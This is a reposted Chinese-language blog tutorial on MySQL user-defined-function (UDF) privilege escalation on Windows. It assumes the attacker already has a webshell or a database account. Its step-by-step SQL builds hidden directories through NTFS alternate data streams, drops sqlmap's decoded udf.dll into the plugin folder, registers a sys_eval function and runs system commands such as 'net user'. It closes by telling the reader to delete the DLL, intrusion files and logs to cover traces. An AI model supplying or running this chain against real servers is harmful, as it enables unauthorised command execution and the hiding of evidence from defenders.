栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 前沿技术 > 大数据 > 大数据系统

Mysql数据库——UDF提权

Mysql数据库——UDF提权

Mysq数据库——UDF提权

    在mysql数据库中,函数分为两类,普通函数,无需外部插件支持;用户自定义函数(UDF),需要外部文件支持,例如dll文件(windows系统)或者so文件(linux系统)。

​    UDF(user defined function)用户自定义函数,是mysql的一个拓展接口,用户可以通过自定义函数,实现在mysql无法顺利实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

​    本blog主要分析的是windows下的mysql UDF提权。widows下UDF提权适用于Windows Server 2008以下的版本,也针对Windows 2000、windows Sever 2003的成功率较高

1、提权的前提

​ 都到提权这一步了,必然是得到了一个webshell或者是有一个本地账号

(1)掌握一个MySQL数据库账号,且对对MySQL数据库有insert和delete的权限,以创建和抛弃函数。一般root账号为佳,具备root账号所具备的权限的其他账号也可

(2)secure_file_priv的值为空

  • secure_file_priv是mysql.ini中的配置选项,可以通过查询语句查看

  • secure_file_priv配置选项赋值的含义

    secure_file_priv=NULL		表示不允许数据的导入和导出,无法提权
    secure_file_priv=‘path’		表示数据的导入导出都要在这个路径下进行,
    secure_file_priv=         	值为空,没有具体值,数据的导入和导出不受限制
    
  • 思考:如果说MySQL设置了secure_file_priv选项,该怎么进行提权?

    • 能做的只有打开mysql.ini,使用#将secure_file_priv=xxxx这一行注释掉。然后重启mysql就可以任意导入导出文件了
    • 但问题是一个apache用户有权限打开mysql.ini吗?甚至是重启mysql服务?
    • 如果出现这种情况,也就是secure_filre_priv的值不为空,大概率是不能提权的!
2、操作提权

(1)第一步,判断mysql的版本 select database()

  • 如果MySQL版本小于5.1,若操作系统是windows Server 2003,需将dll插放置于c:windowssystem32下;若是Windows 2000需将dll插放置于c:winntsystem32udf.dll下

  • 如果MySQL版本大于5.1,udf.dll文件必须放置于MySQL安装目录@@basediclibpluginudf.dll文

    • 这里@@basedir指的是mysql的安装路径

(2)第二步,上传udf.dll插件

  • 获取udf.dll文件

    • sqlmap中是有现成的udf文件的,分为32位和64位(位于sqlmapdataudfmysqlwindows下),但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。需要利用sqlmap 自带的解码工具cloak.py,进入到 sqlmapextracloak 目录下,执行命令

    • 在一般情况下,生成的dll文件会被杀毒软件(如火绒)当作病毒给隔离的,需要手动恢复!

    • 注: 判断操作系统位数show variables like '%version_%';

  • 在上传前要要知晓一件事:mysql/lib/plugin目录默认不存在,需自行创建

    • 如果是webshell页面,直接创建文件夹
    • 如果是命令行,可用NTFS ADS流模式突破进而创建文件夹
select @@basedir;  # 查找到mysql的目录
select 'It is dll' into dumpfile '@@basedir\lib::$INDEX_ALLOCATION';   # 利用NTFS ADS创建lib目录
select 'It is all' into dumpfile '@@basedir\lib\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录
  • 上传udf.dll文件:可以直接在webshell中上传,可以在命令行中上传

    • 这里记录一个问题,如果本地上传中使用select ... into outfile ...语句上传文件,存在问题!!!!

  • 上传语句应该是select loadfile(...) into dumpfile "...",这应该算是移动文件

(3)注册函数

  • 使用方
#mysql创建自定义函数方法
create function 函数名 returns string soname '上传的dll文件名';

#实例
create function sys_eval returns string soname 'udf.dll';

(4)执行命令

select sys_eval('ipconfig');
select sys_eval('net user');

(5)清除痕迹

删除udf.dll文件及其他相关入侵文件及日志

  • drop function sys_eval
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/300661.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号